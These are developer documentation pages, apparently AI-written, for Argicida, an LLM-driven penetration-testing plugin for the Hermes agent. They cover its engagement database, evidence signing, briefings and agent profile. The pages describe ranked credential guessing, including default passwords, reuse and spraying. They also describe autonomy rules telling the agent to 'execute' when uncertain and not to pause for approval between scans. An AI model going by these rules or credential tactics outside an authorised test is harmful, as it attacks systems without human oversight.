KEV-only, port, and time window. Returns dicts without `raw_output` (which lives on disk in the output store, not in the DB) to keep LLM context lean. `query_hosts()`, `query_ports()`, `query_cves()`, and `query_tools_run()` provide aggregate views for the briefing generator and `/triage` command.\\n\\n### CredentialRepo (`db/credential_repo.py`)\\n\\nThree-table fragment model separating principals (usernames, accounts), secrets (passwords, hashes, keys), and validated credentials (confirmed working combinations).\\n\\n**Candidate ranking engine** \u2014 `get_credential_candidates()` generates prioritized login attempts from the principal and secret fragments. Six tiers, evaluated in order:\\n\\n| Tier | Logic |\\n|---|---|\\n| `same_row` | Secret has `associated_principal` linking it to a specific principal |\\n| `same_target` | Principal and secret discovered on the same IP |\\n| `same_service` | Principal and secret from the same service type, different IPs |\\n| `default_pairing` | Principal + known default password for the service (from `_SERVICE_DEFAULTS`) |\\n| `cross_service_reuse` | Principal from one service + validated credential from another service on same host |\\n| `spray` | Cartesian product (opt-in via `include_spray=True`) |\\n\\nAlready-validated combinations are excluded. The ranking stops as soon as `limit` candidates are generated \u2014 early tiers are cheap, spray is expensive.\\n\\n**Deduplication** \u2014 all three tables use SHA256 fingerprints on key fields with unique indexes. `add_validated_credential()`, `add_principal()`, and `add_secret()` return `True` if new, `False` if duplicate (caught via `apsw.ConstraintError`).\\n\\n### EvidenceRepo (`db/evidence_repo.py`)\\n\\nStores the hash-chained audit trail. Each `ChainEntry` records a finding hash, the previous entry's hash, a sequence number, and the full finding JSON. `get_chain_entries()` returns entries ordered by sequence for chain verification and session-resume seeding.\\n\\n`add_chain_signature()` stores Ed25519 signatures over the chain at unbind time, recording the session ID and entry count at signing. This provides non-repudiation \u2014 the engagement's findings can be verified against the operator's key pair.\\n\\n### VpnRepo (`db/vpn_repo.py`)\\n\\nStores per-engagement VPN mode (`direct`, `wireguard`, `openvpn`) and config directory path. `validate_vpn_config_dir()` checks that the directory exists, isn't a symlink, and contains the expected config file (`wg0.conf` or `client.ovpn` per `VPN_CONFIG_FILES` from `argicida_common.constants`).\\n\\n## Schema & Migrations\\n\\n`db/migrations.py` contains both the initial `_SCHEMA_STATEMENTS` (4 CREATE TABLE statements for the original schema) and `_migrate_schema()` which handles all subsequent evolution. Migrations are idempotent \u2014 they check for column/table/index existence before altering. This means the same migration code runs on fresh databases and on databases from any prior version.\\n\\nNotable migration behaviors:\\n- Drops the removed `engagement_type` column if present\\n- Reshapes phase enum values: `passive_recon`/`active_recon` \u2192 `discovery`, `interactive` \u2192 `human_gate`\\n- Creates asset registry tables (`assets`, `asset_hostnames`, `asset_ports`, `asset_vhost_scans`) and credential fragment tables (`principals`, `secrets`) if absent\\n- Adds dedup infrastructure (unique indexes on fingerprint columns)\\n\\n`ensure_schema()` is exported for test fixtures that need a clean database without going through the full `EngagementStore` constructor.\\n\\n## Finding Storage Helper\\n\\n`db/helpers.py:store_finding()` is the single entry point for persisting findings from hooks and tool result processors. It inserts the finding via `FindingRepo.add_finding()`, and if the finding is new and an evidence chain is provided, appends a `ChainEntry` and persists it via `EvidenceRepo.add_chain_entry()`. This ensures the evidence chain and finding store never diverge.\\n\\n```python\\nstore_finding(store, eid, finding, chain, session_id=\\\"sess-abc\\\")\\n```\\n\\nThe `chain` parameter is optional (`None` skips chain appending) for contexts where evidence tracking isn't relevant (e.g., backfill operations).\\n\\n## Thread Safety\\n\\nAPSW provides thread-safe SQLite access \u2014 multiple Hermes worker threads can call store methods concurrently. The IMMEDIATE transaction mode in `lock_engagement()` serializes lock acquisition. The `IpcClient` is per-thread (via `threading.local()`), but the store itself is shared across threads since APSW handles the locking internally. WAL mode allows concurrent readers alongside a single writer.\",\"evidence-reporting\":\"# Evidence & Reporting\\n\\n# Evidence & Reporting\\n\\nThe evidence module maintains a cryptographically verifiable record of every finding produced during a penetration test. The briefing module generates human-readable reports from that data. Together they solve two problems: proving that scan results haven't been tampered with after collection, and presenting those results to an operator at the HUMAN_GATE.\\n\\n## Evidence Chain\\n\\n`evidence/chain.py` \u2014 `EvidenceChain`\\n\\nA hash-linked sequence of findings. Each `ChainEntry` contains the finding itself, a SHA-256 hash computed over domain-tagged content, and the hash of the previous entry. This makes insertions, deletions, and modifications detectable after the fact.\\n\\n### How entries are hashed\\n\\nThe hash input is constructed with domain separation and length-prefixed fields to prevent concatenation attacks:\\n\\n```\\nb\\\"argicida-chain-v1\\\"          # domain tag\\n+ pack(\\\">Q\\\", sequence)        # 8-byte big-endian sequence number\\n+ pack(\\\">H\\\", len(timestamp))  # 2-byte length prefix\\n+ timestamp                   # ISO 8601 UTC\\n+ pack(\\\">H\\\", len(prev_hash))  # 2-byte length prefix\\n+ previous_hash               # hex string of prior entry's hash\\n+ pack(\\\">I\\\", len(finding))    # 4-byte length prefix\\n+ finding                     # msgpack-encoded Finding struct\\n```\\n\\nThe first entry chains from a genesis hash of 64 zero characters.\\n\\n### Thread safety\\n\\nAll operations acquire `self._lock`. Hermes dispatches parallel tool calls on separate worker threads, and the `post_tool_call` hook (`hooks/evidence.py` \u2192 `capture_evidence`) appends to the chain from whichever thread completes first.\\n\\n### Lifecycle\\n\\nThe chain lives on `PluginState` and follows the engagement lifecycle:\\n\\n- **Created** at plugin registration (empty)\\n- **Seeded** via `seed()` when resuming an existing engagement \u2014 `EngagementSession.bind()` loads stored entries from the database\\n- **Appended** by `capture_evidence` after every tool call that produces findings\\n- **Signed** at session end by the `on_session_end` hook\\n- **Cleared** via `clear()` on engagement switch\\n\\n`seed()` raises `RuntimeError` if the chain already has entries, preventing accidental double-loading.\\n\\n## Signing and Key Management\\n\\n```mermaid\\ngraph LR\\n    A[Tool call completes] --> B[capture_evidence hook]\\n    B --> C[chain.append]\\n    C --> D[ChainEntry with hash]\\n    E[Session ends] --> F[sign_chain]\\n    F --> G[_chain_digest]\\n    G --> H[Ed25519 signature]\\n    I[Verification] --> J[verify_signature]\\n    J --> G\\n```\\n\\n### Chain signing \u2014 `evidence/signer.py`\\n\\n`sign_chain` computes a digest over the entire chain and signs it with an Ed25519 private key. The digest uses its own domain tag (`b\\\"argicida-sign-v1\\\"`) separate from the per-entry tag, covers the entry count, and includes each entry's hash with length prefixes. This means the signature validates both the content and ordering of all entries.\\n\\n`verify_signature` recomputes the same digest and checks it against the signature using the public key. Returns `False` on `InvalidSignature` rather than raising.\\n\\nSigning an empty chain raises `ValueError` \u2014 there's nothing to attest.\\n\\n### Key persistence \u2014 `evidence/keys.py`\\n\\n`load_or_generate_keys` manages per-engagement Ed25519 key pairs at `keys_dir/.key` and `.pub`. The function is idempotent: if keys exist, it loads them; otherwise it generates and persists new ones.\\n\\nSecurity properties:\\n- Private keys are written with `0o600`, public keys with `0o644`\\n- Atomic writes via `tempfile.mkstemp` + `os.rename` \u2014 no partial key files on crash\\n- Symlink rejection on the private key path (`is_symlink()` check before loading)\\n- Key type validation \u2014 rejects non-Ed25519 keys even if the PEM parses successfully\\n- On write failure, cleanup removes both the temp file and any partially-written key pair\\n\\nKeys are generated during `init_state` at plugin registration (via `generate_signing_key` in `signer.py` for the in-memory pair) and persisted per-engagement through `load_or_generate_keys`.\\n\\n## Briefing Generation\\n\\nThe briefing is a hybrid document: a deterministic Markdown template filled with structured data, plus a one-paragraph executive summary generated by the LLM.\\n\\n### Entry point\\n\\n`generate_briefing(llm, store, engagement_id)` is an async function called by the `/briefing` slash command handler. It:\\n\\n1. Loads the engagement and its findings from the `EngagementStore`\\n2. Renders the deterministic template via `render_briefing`\\n3. Generates (or falls back on) the executive summary\\n4. Replaces the `{executive_summary}` placeholder in the template\\n\\n### Template sections \u2014 `briefing/prompts.py`\\n\\n`render_briefing` builds the full briefing document. Sections are included conditionally based on available data:\\n\\n| Section | Source | Always present |\\n|---------|--------|----------------|\\n| Engagement metadata | `EngagementMeta` | Yes |\\n| Executive Summary | LLM or fallback | Yes (placeholder) |\\n| Assets Discovered | `build_asset_summary` from `hooks/context_sections` | If store provided |\\n| Finding Summary | `count_by_triage` from `triage/classifier` | Yes |\\n| Findings Detail | Sorted actionable findings | If critical or interesting findings exist |\\n| Risk Ranking | Actionable findings ranked | If critical or interesting findings exist |\\n| Noise Findings | Grouped by title with counts | If noise findings exist |\\n| Tool Coverage | `build_coverage_map` from `hooks/coverage` | If coverage data exists |\\n| Recommended Next Steps | `build_deep_testing_gaps` + asset completeness | Yes |\\n\\nFinding sort order: KEV status first (known-exploited vulnerabilities surface to the top), then severity descending, CVSS descending, EPSS descending.\\n\\nNoise findings are grouped by title with counts \u2014 `[medium] SSL Certificate Expired (x3)` \u2014 rather than listed individually. Tool completion sentinels (titles ending in \\\"completed\\\") are filtered out.\\n\\n### Executive summary generation\\n\\n`_generate_summary` sends a small prompt (~50-100 tokens) to the LLM via `llm.acomplete()` with `temperature=0.0` and `purpose=\\\"briefing\\\"`. The prompt contains only: scope CIDRs, current phase, triage counts, and the top 3 findings by severity.\\n\\nOn any failure \u2014 LLM unavailable, empty response, exception \u2014 `_fallback_summary` produces a data-only sentence so the briefing is never incomplete:\\n\\n> Assessment of 10.0.0.0/24 identified 2 critical, 5 interesting findings across 31 total. Phase: exploitation.\\n\\n### Next steps derivation\\n\\n`_build_next_steps` pulls from two sources:\\n\\n- **Deep testing gaps** from `hooks/coverage.py` \u2014 credential testing, ZAP active scanning, sensitive file checks, exploitation opportunities the automated scan didn't pursue\\n- **Asset completeness** from the asset registry \u2014 hosts stuck at `discovered` (no port scan) or `ports_scanned` (no hostname/vhost probing)\\n\\nThis makes the \\\"next steps\\\" section reflect actual coverage gaps rather than generic recommendations.\\n\\n## Integration Points\\n\\nThe evidence chain connects to the rest of Argicida through hooks:\\n\\n- **`post_tool_call`** \u2192 `capture_evidence` appends each finding to the chain\\n- **`on_session_end`** \u2192 signs the chain (fires every turn \u2014 lightweight)\\n- **`on_session_start`** \u2192 `bind` seeds the chain from DB when resuming an engagement\\n- **`on_session_finalize`** \u2192 persists the signed chain before teardown\\n- **`/briefing` slash command** \u2192 `generate_briefing` reads findings from the store (not the chain) to produce the report\\n\\nThe chain and the briefing share the `Finding` schema from `argicida_common` but serve different purposes: the chain is an integrity mechanism (ordered, hashed, signed), while the briefing is a presentation layer (grouped, ranked, summarized).\",\"hermes-profile-skills-profile\":\"# Hermes Profile & Skills \u2014 profile\\n\\nI have enough context now. Let me write the documentation.\\n\\n# Hermes Profile & Skills\\n\\nThe `profile/` directory is a [Hermes profile distribution](https://hermes-agent.nousresearch.com/) \u2014 a self-contained, installable package that turns Hermes into an offensive security operator. It contains the LLM's identity (`SOUL.md`), model configuration (`config.yaml`), visual theme (`skins/argicida.yaml`), and 13 technique skills (`skills/security/`) that teach the LLM how to conduct penetration tests using Argicida's containerized toolset.\\n\\nThis is not application code. Nothing in `profile/` is imported by the Python packages in `src/`. Instead, Hermes reads these files at runtime after profile installation, shaping how the LLM behaves during a pentest session.\\n\\n## Installation and Usage\\n\\n```bash\\n# Install the profile (creates ~/.hermes/profiles/pentest/)\\nhermes profile install /path/to/Argicida/profile --alias\\n\\n# Start an interactive pentest session\\npentest chat\\n\\n# Headless single-query mode\\npentest chat -q \\\"scan 10.10.10.40 for open ports and services\\\" -t argicida\\n```\\n\\nThe `--alias` flag registers `pentest` as a shell command pointing at this profile. All runtime state (sessions, memories, logs) lives under `$HERMES_HOME/profiles/pentest/`, not in the repo.\\n\\n## Profile Structure\\n\\n```\\nprofile/\\n\u251c\u2500\u2500 config.yaml          # Model endpoint, agent parameters, delegation, toolsets\\n\u251c\u2500\u2500 distribution.yaml    # Profile metadata (name, version, hermes_requires)\\n\u251c\u2500\u2500 SOUL.md              # LLM identity, autonomy rules, delegation patterns\\n\u251c\u2500\u2500 .no-bundled-skills   # Marker: skills deploy to runtime, not bundled in profile\\n\u251c\u2500\u2500 .gitignore           # Excludes runtime state (sessions/, memories/, state.db)\\n\u251c\u2500\u2500 skins/\\n\u2502   \u2514\u2500\u2500 argicida.yaml    # Visual theme (colors, spinner, ASCII art, tool emojis)\\n\u2514\u2500\u2500 skills/security/\\n    \u251c\u2500\u2500 DESCRIPTION.md\\n    \u251c\u2500\u2500 pentest-methodology/SKILL.md    # Core methodology (always loaded)\\n    \u251c\u2500\u2500 network-discovery/SKILL.md\\n    \u251c\u2500\u2500 dns-enumeration/SKILL.md\\n    \u251c\u2500\u2500 web-enumeration/               # Hub skill with 8 sub-skills\\n    \u2502   \u251c\u2500\u2500 SKILL.md\\n    \u2502   \u251c\u2500\u2500 fingerprinting/SKILL.md\\n    \u2502   \u251c\u2500\u2500 scanning/SKILL.md\\n    \u2502   \u251c\u2500\u2500 crawling/SKILL.md\\n    \u2502   \u251c\u2500\u2500 fuzzing/SKILL.md\\n    \u2502   \u251c\u2500\u2500 api/SKILL.md\\n    \u2502   \u251c\u2500\u2500 api-testing/SKILL.md\\n    \u2502   \u251c\u2500\u2500 curl-techniques/SKILL.md\\n    \u2502   \u2514\u2500\u2500 services/SKILL.md\\n    \u251c\u2500\u2500 db-enumeration/                # Hub skill with 5 sub-skills\\n    \u2502   \u251c\u2500\u2500 SKILL.md\\n    \u2502   \u251c\u2500\u2500 postgresql/SKILL.md\\n    \u2502   \u251c\u2500\u2500 mysql/SKILL.md\\n    \u2502   \u251c\u2500\u2500 mssql/SKILL.md\\n    \u2502   \u251c\u2500\u2500 oracle/SKILL.md\\n    \u2502   \u2514\u2500\u2500 cassandra/SKILL.md\\n    \u251c\u2500\u2500 redis-enumeration/SKILL.md\\n    \u251c\u2500\u2500 mongo-enumeration/SKILL.md\\n    \u251c\u2500\u2500 smb-enumeration/SKILL.md\\n    \u251c\u2500\u2500 rpc-nfs-enumeration/SKILL.md\\n    \u251c\u2500\u2500 ssh-enumeration/SKILL.md\\n    \u251c\u2500\u2500 ftp-enumeration/SKILL.md\\n    \u251c\u2500\u2500 smtp-enumeration/SKILL.md\\n    \u2514\u2500\u2500 telnet-enumeration/SKILL.md\\n```\\n\\n## SOUL.md \u2014 LLM Identity and Autonomy\\n\\n`SOUL.md` defines who the LLM is and what it is permitted to do without operator approval. Hermes loads it as the system prompt for the `pentest` profile. It is divided into five sections:\\n\\n**Identity and style.** Sets the persona as an offensive security operator: evidence-driven, concise, scope-aware. This is behavioral guidance, not tool instructions \u2014 tool usage is taught by skills.\\n\\n**Autonomy rules.** Uses XML-tagged blocks to create an unambiguous decision boundary:\\n\\n- `` \u2014 tools the LLM runs immediately without asking. All 16 scan tools and all management tools are listed exhaustively. Operational patterns (chaining, scope expansion, artifact persistence, screenshot capture, credential querying) are enumerated as continuous duties.\\n- `` \u2014 actions that require operator approval via `/approve-gate`: exploits, payloads, credential brute-force beyond defaults, and anything that modifies target state irreversibly.\\n- `` \u2014 a three-step test applied before every action. The critical insight is step 3: \\\"Uncertain? Execute.\\\" The scope guard enforces boundaries at the infrastructure level, so the LLM doesn't need to self-censor.\\n\\n**Delegation.** The SOUL defines the LLM as an orchestrator that delegates all tool execution to subagents via `delegate_task`. This keeps raw tool output out of the orchestrator's context window. The `` / `` / `` blocks define what gets delegated (all scan tools, triage, briefings), what doesn't (engagement lifecycle, scope changes, cheap DB reads), and what context each delegation must carry (engagement name, scope, target, objective, skill instruction).\\n\\n**Chaining.** Prescribes multi-tool sequences organized by phase (discovery, enumeration, deep testing). The key design constraint: \\\"Do not stop between steps to ask what to do next.\\\" The LLM chains `delegate_task` calls based on results, not operator prompts.\\n\\n**Operator directives.** Handles the \\\"proceed\\\" problem \u2014 when operators say \\\"continue,\\\" the LLM must respond with tool calls, not text summaries. Includes a context-compaction recovery sequence using `engagement_query`.\\n\\n## config.yaml \u2014 Runtime Configuration\\n\\nThe profile configures Hermes for offline, local-LLM pentesting:\\n\\n| Setting | Value | Purpose |\\n|---------|-------|---------|\\n| `model.default` | Gemma 4 12B (GGUF) | Primary model at `localhost:8080` |\\n| `model_aliases.analyze` | Qwen 35B | Heavier model for analysis tasks |\\n| `agent.max_turns` | 150 | Extended turn budget for long assessments |\\n| `agent.disabled_toolsets` | terminal, file, browser, ... | Disables everything except `argicida` tools \u2014 the LLM has no direct host access |\\n| `delegation.max_concurrent_children` | 4 | Parallel subagent cap |\\n| `delegation.child_timeout_seconds` | 0 | No timeout (scans can run long) |\\n| `compression.threshold` | 0.71 | Context compaction trigger |\\n| `compression.protect_last_n` | 35 | Keep recent turns intact |\\n| `tool_loop_guardrails` | warn 3-4, stop 5-7 | Prevents runaway tool loops |\\n| `security.allow_private_urls` | true | Required for scanning RFC 1918 targets |\\n\\nThe `disabled_toolsets` list is critical: by stripping terminal, file, and browser access, the LLM can only interact with the target through Argicida's scope-guarded, evidence-captured tool pipeline. There is no escape hatch to `bash`.\\n\\n## Skill Architecture\\n\\n### Three-Tier Progressive Disclosure\\n\\nSkills manage the LLM's limited context window using progressive disclosure, implemented by the `skill_loader.py` hook module in `src/argicida/argicida/hooks/`:\\n\\n```mermaid\\ngraph TD\\n    A[\\\"Tier 1: Always Present~900 tokens/turn\\\"] --> B[\\\"Tool syntax table\\\"]\\n    A --> C[\\\"Service\u2192tool matching table\\\"]\\n    A --> D[\\\"Skills menu\\\"]\\n    E[\\\"Tier 2: First Turn Only~3800 tokens\\\"] --> F[\\\"Full pentest-methodology\\\"]\\n    E --> G[\\\"Decision trees\\\"]\\n    E --> H[\\\"Management tool reference\\\"]\\n    I[\\\"Tier 3: On Demand500-3000 tokens each\\\"] --> J[\\\"dns-enumeration\\\"]\\n    I --> K[\\\"web-enumeration\\\"]\\n    I --> L[\\\"db-enumeration\\\"]\\n    I --> M[\\\"...11 more skills\\\"]\\n```\\n\\n**Tier 1** \u2014 `extract_quick_reference()` in `hooks/skill_loader.py` pulls four sections from `pentest-methodology/SKILL.md` by heading name: the tool syntax reference table, enumeration order, service matching table, and engagement database queries. This ~900 token block plus a skills menu (built by `build_skills_menu()`) are injected into every turn via the `pre_llm_call` hook.\\n\\n**Tier 2** \u2014 The full `pentest-methodology` content (~3800 tokens) is injected only on the orchestrator's first turn. Subagents receive only tier 1 plus a `skill_view('pentest-methodology')` instruction. After turn 1, the full methodology is dropped to free context budget.\\n\\n**Tier 3** \u2014 Technique skills are loaded on demand when the LLM calls `skill_view('skill-name')`. Tool schemas in `src/argicida/argicida/tools/schemas.py` contain `skill_view()` references that prompt the LLM to load the relevant skill before using a tool. A consistency test (`tests/argicida/test_consistency.py`, function `_extract_skill_view_refs`) validates that these references point to real skill names.\\n\\n### Hub and Sub-Skill Pattern\\n\\nTwo skills use a hub pattern with nested sub-skills:\\n\\n- **web-enumeration** \u2014 hub defines the 11-phase scan strategy and nuclei tag reference; 8 sub-skills cover fingerprinting, scanning, crawling, fuzzing, API testing, curl techniques, and technology-specific services.\\n- **db-enumeration** \u2014 hub defines triage order and common mistakes; 5 sub-skills cover PostgreSQL, MySQL, MSSQL, Oracle, and Cassandra with database-specific queries.\\n\\n`build_skills_menu()` uses `is_sub_skill()` to detect nesting \u2014 sub-skills whose parent directory also contains a `SKILL.md` are excluded from the top-level menu. The LLM discovers them through the hub skill's internal table.\\n\\n### Skill Naming Contract\\n\\nSkill names are load-bearing. The `name:` field in each skill's YAML frontmatter is the identifier used by `skill_view()` calls. Hermes resolves skills by frontmatter name matching, not directory name. Renaming the `name:` field without updating all `skill_view()` references in `schemas.py` and `SOUL.md` silently breaks the loading chain. The consistency test in `test_consistency.py` catches this drift.\\n\\n### Skill Frontmatter\\n\\nEvery skill's `SKILL.md` starts with YAML frontmatter that declares:\\n\\n```yaml\\n---\\nname: dns-enumeration          # Identity \u2014 must match skill_view() references\\ndescription: DNS reconnaissance \u2014 zone transfers, record enumeration, ...\\nversion: 2.0.0\\nmetadata:\\n  hermes:\\n    tags: [security, pentesting, dns, reconnaissance]\\n    category: security\\n    requires_toolsets: [argicida]\\n    requires_tools: [argicida_dnsx]\\n  covers_services: [domain]     # Maps nmap service names to this skill\\n---\\n```\\n\\nThe `covers_services` metadata is used by `ServiceSkillRegistry` (in the plugin) to detect coverage gaps \u2014 when nmap identifies a service that no loaded skill covers, the context injection flags it as an uncovered gap.\\n\\n## Skin \u2014 argicida.yaml\\n\\nThe visual theme is built around the Argicida mythology (Hermes slaying the hundred-eyed giant Argus Panoptes):\\n\\n- **Palette:** Aged bronze, verdigris patina, warm shadow. The single cool note is \\\"Argus-eye blue\\\" for session tracking labels.\\n- **Spinner:** An eye closing animation (`\u25c9 \u2192 \u25ce \u2192 \u25cb \u2192 \u00b7 \u2192 \u25cb \u2192 \u25ce`) with thinking verbs drawn from the myth (\\\"lulling the watchman,\\\" \\\"counting the sentries,\\\" \\\"drawing the blade\\\").\\n- **Tool emojis:** Each `argicida_*` tool has a thematic emoji (nmap \u2192 `\ud83d\uddfa`, nuclei \u2192 `\ud83d\udc41`, katana \u2192 `\u2694`).\\n- **Banner:** Block-letter ASCII art with a gradient from divine gold to shadowed verdigris, plus a braille-dot Eye of Argus hero graphic.\\n\\n## Syncing Skills to Runtime\\n\\nSkills are version-controlled in `profile/skills/security/` but execute from `$HERMES_HOME/profiles/pentest/skills/security/` after profile installation. The LLM can self-improve skills at runtime (Hermes's `skills.write_approval: true` requires operator confirmation). To sync runtime improvements back to version control:\\n\\n```bash\\nuv run python scripts/sync_skills.py\\n```\\n\\nThe script diffs each skill file between repo and runtime, shows unified diffs, and prompts for sync direction (repo \u2192 runtime or runtime \u2192 repo).\\n\\n## Key Design Decisions\\n\\n**No direct host access.** `config.yaml` disables every toolset except `argicida`. The LLM cannot run shell commands, read files, or browse the web on the host. All interaction with targets flows through scope-guarded, evidence-captured tool handlers. This is the security boundary.\\n\\n**Orchestrator/subagent split.** SOUL.md defines the primary LLM as an orchestrator that delegates tool execution. Raw tool output (which can be megabytes of nmap XML or nuclei JSON) stays in subagent contexts. The orchestrator queries the engagement database for structured results. This prevents context window exhaustion on long assessments.\\n\\n**Exhaustive enumeration in autonomy rules.** The `` block lists every tool and every operational pattern explicitly. Vague categories (\\\"scan tools\\\") were replaced with exhaustive enumeration after discovering that LLMs interpret category boundaries inconsistently. If a tool isn't listed, it isn't autonomous.\\n\\n**Skills as technique reference, not behavior control.** SOUL.md controls *what* the LLM does (identity, autonomy, delegation). Skills control *how* it does it (tool syntax, enumeration procedures, common mistakes). This separation means behavioral changes (e.g., adding a new gated action) require only a SOUL.md edit, while technique changes (e.g., a new nuclei tag pattern) require only a skill edit.\",\"hermes-profile-skills-scripts\":\"# Hermes Profile & Skills \u2014 scripts\\n\\n# `scripts/sync_skills.py` \u2014 Skill Sync Tool\\n\\nBidirectional sync between version-controlled skills in `profile/skills/` and the installed runtime copy at `$HERMES_HOME/profiles/pentest/skills/`. When the LLM self-improves a skill at runtime (Hermes allows this), those changes live only in the runtime directory until explicitly pulled back into the repo. Conversely, repo edits aren't live until pushed to the runtime profile. This script bridges both directions.\\n\\n```\\nuv run python scripts/sync_skills.py\\n```\\n\\n## How It Works\\n\\nThe script walks `profile/skills/` recursively, finds every `SKILL.md`, pairs it with its runtime counterpart by frontmatter `name:` field, and shows a unified diff for any pair that diverges. The operator chooses per-skill: push repo to runtime, pull runtime to repo, or skip.\\n\\n```mermaid\\nflowchart LR\\n    A[\\\"profile/skills/(version-controlled)\\\"] -- \\\"r: repo\u2192runtime\\\" --> B[\\\"$HERMES_HOME/profiles/pentest/skills/(live runtime)\\\"]\\n    B -- \\\"R: runtime\u2192repo\\\" --> A\\n```\\n\\n## Skill Identity Resolution\\n\\nSkills are matched by their frontmatter `name:` field, not by directory name. `parse_skill_name` extracts this from the YAML frontmatter block at the top of each `SKILL.md`:\\n\\n```yaml\\n---\\nname: web-enumeration\\ndescription: ...\\n---\\n```\\n\\nIf the frontmatter is missing or the `name:` field is empty, the parent directory name is used as a fallback. This matters because hub skills contain sub-skills in nested directories \u2014 `web-enumeration/web-curl/SKILL.md` has `name: web-curl`, not `name: web-enumeration`.\\n\\n`find_runtime_skill` searches the runtime tree in two passes:\\n1. Match against `parse_skill_name` output (frontmatter `name:`)\\n2. Fall back to directory-name matching (backward compat for skills predating frontmatter conventions)\\n\\n## Key Functions\\n\\n| Function | Purpose |\\n|---|---|\\n| `parse_skill_name(skill_md)` | Extract `name:` from SKILL.md frontmatter; fall back to directory name |\\n| `collect_repo_skills(skills_dir)` | Recursively discover all `SKILL.md` files under `profile/skills/` |\\n| `find_runtime_skill(name, runtime_skills_dir)` | Locate the runtime counterpart of a repo skill by name |\\n| `diff_skill(repo_dir, runtime_dir)` | Unified diff of two SKILL.md files; returns `None` if identical |\\n| `sync_skill(repo_dir, runtime_dir, direction=)` | Copy all files in a skill directory in the specified direction |\\n| `_sync_dir(src, dst)` | Low-level directory copy (all files, `shutil.copy2` for metadata preservation) |\\n\\n## Sync Directions\\n\\nWhen a skill differs, the interactive prompt offers three choices:\\n\\n- **`r`** \u2014 Repo \u2192 Runtime. You edited skills in the repo and want them live.\\n- **`R`** \u2014 Runtime \u2192 Repo. The LLM improved a skill at runtime and you want to commit the improvement.\\n- **`s`** \u2014 Skip. Leave the divergence for now.\\n\\n`sync_skill` copies the entire skill directory (not just `SKILL.md`) so auxiliary files like sub-skill directories or reference data travel with the sync. It raises `ValueError` on invalid direction strings.\\n\\n## Prerequisites\\n\\n- `HERMES_HOME` environment variable must be set\\n- The `pentest` profile must be installed (`hermes profile install ./profile --alias`)\\n- The runtime skills directory must exist at `$HERMES_HOME/profiles/pentest/skills/`\\n\\nIf any prerequisite is missing, the script prints a diagnostic and exits without error.\\n\\n## Undeployed Skills\\n\\nSkills found in the repo but absent from the runtime tree are reported as \\\"not deployed\\\" with a hint to run `hermes profile update pentest`. The script does not auto-deploy new skills \u2014 that's the profile installer's job.\\n\\n## Test Coverage\\n\\nAll public functions have unit tests in `tests/scripts/test_sync_skills.py` covering: frontmatter extraction, fallback to directory names, nested/category directory discovery, runtime matching by frontmatter vs. directory name, diff generation, bidirectional copy, auxiliary file handling, and invalid-direction rejection. The interactive `main()` loop is not unit-tested (it requires stdin).\",\"hermes-profile-skills-skills\":\"# Hermes Profile & Skills \u2014 skills\\n\\n# Hermes Profile Skills \u2014 Security\\n\\n## Purpose\\n\\nThe `profile/skills/security/` directory contains LLM-facing technique documentation that ships with the Argicida Hermes profile. These are not code \u2014 they are structured reference material the LLM loads at runtime to guide tool usage during penetration testing sessions. Skills teach the LLM _how_ to use Argicida's scan tools correctly: argument syntax, enumeration order, result interpretation, and common mistakes to avoid.\\n\\nSkills deploy to `$HERMES_HOME/skills/security/` when the profile is installed (`hermes profile install ./profile --alias`). Hermes discovers them by scanning for `SKILL.md` files with YAML frontmatter.\\n\\n## Progressive Disclosure Architecture\\n\\nThe LLM has a finite context window. Loading all 13 skills (~25,000 tokens) on every turn would crowd out scan results and engagement state. Instead, skills use a three-tier system that trades context budget for relevance:\\n\\n```mermaid\\ngraph TD\\n    T1[\\\"Tier 1: Always Present~900 tokens/turn\\\"]\\n    T2[\\\"Tier 2: Orchestrator First Turn~3800 tokens, dropped after turn 1\\\"]\\n    T3[\\\"Tier 3: On Demand500-3000 tokens each, loaded via skill_view()\\\"]\\n\\n    T1 -->|\\\"compact quick-referencetool syntax table + service matching\\\"| LLM[\\\"LLM Context\\\"]\\n    T2 -->|\\\"full pentest-methodologydecision tree + interpretation guides\\\"| LLM\\n    T3 -->|\\\"technique skillsloaded when a service type is encountered\\\"| LLM\\n\\n    nmap_result[\\\"nmap finds port 53\\\"] -->|\\\"triggers\\\"| SV[\\\"skill_view('dns-enumeration')\\\"]\\n    SV --> T3\\n```\\n\\n**Tier 1** \u2014 A compressed tool syntax table and service-to-tool matching table extracted from `pentest-methodology`. Present on every turn for every role (orchestrator and subagents). Costs ~900 tokens.\\n\\n**Tier 2** \u2014 The full `pentest-methodology` content including the \\\"What to Do with Results\\\" decision tree, interpretation guides, and common mistakes. Injected on the orchestrator's first turn only, then dropped to free context. Subagents receive only Tier 1 plus a `skill_view('pentest-methodology')` instruction.\\n\\n**Tier 3** \u2014 All other skills. Loaded on demand when the LLM encounters a specific service type. The bridge between Tier 2 disappearing and Tier 3 requiring self-initiated loading is the `skill_view()` prompt embedded in each tool's schema description. When the LLM reads a tool schema before calling it, the schema tells it which skill to load.\\n\\n## Skill Organization\\n\\n### Standalone Skills\\n\\nMost skills are single `SKILL.md` files, one per service type:\\n\\n```\\nprofile/skills/security/\\n\u251c\u2500\u2500 DESCRIPTION.md\\n\u251c\u2500\u2500 pentest-methodology/SKILL.md      # core methodology (Tier 1+2)\\n\u251c\u2500\u2500 network-discovery/SKILL.md        # naabu \u2192 nmap \u2192 subfinder\\n\u251c\u2500\u2500 dns-enumeration/SKILL.md          # dnsx techniques\\n\u251c\u2500\u2500 smb-enumeration/SKILL.md          # smbclient\\n\u251c\u2500\u2500 redis-enumeration/SKILL.md        # redis_query\\n\u251c\u2500\u2500 mongo-enumeration/SKILL.md        # mongo_query\\n\u251c\u2500\u2500 rpc-nfs-enumeration/SKILL.md      # rpcinfo + NFS\\n\u251c\u2500\u2500 ssh-enumeration/SKILL.md          # ssh_exec\\n\u251c\u2500\u2500 ftp-enumeration/SKILL.md          # curl ftp://\\n\u251c\u2500\u2500 smtp-enumeration/SKILL.md         # curl smtp://\\n\u2514\u2500\u2500 telnet-enumeration/SKILL.md       # curl telnet://\\n```\\n\\n### Hub Skills with Sub-Skills\\n\\nTwo skills use a hub-and-spoke pattern for services with deep technique trees:\\n\\n```\\nweb-enumeration/\\n\u251c\u2500\u2500 SKILL.md                          # hub: scan strategy, phase overview, common mistakes\\n\u251c\u2500\u2500 fingerprinting/SKILL.md           # web-fingerprinting (httpx -td)\\n\u251c\u2500\u2500 scanning/SKILL.md                 # web-scanning (nuclei, ZAP)\\n\u251c\u2500\u2500 crawling/SKILL.md                 # web-crawling (katana)\\n\u251c\u2500\u2500 fuzzing/SKILL.md                  # web-fuzzing 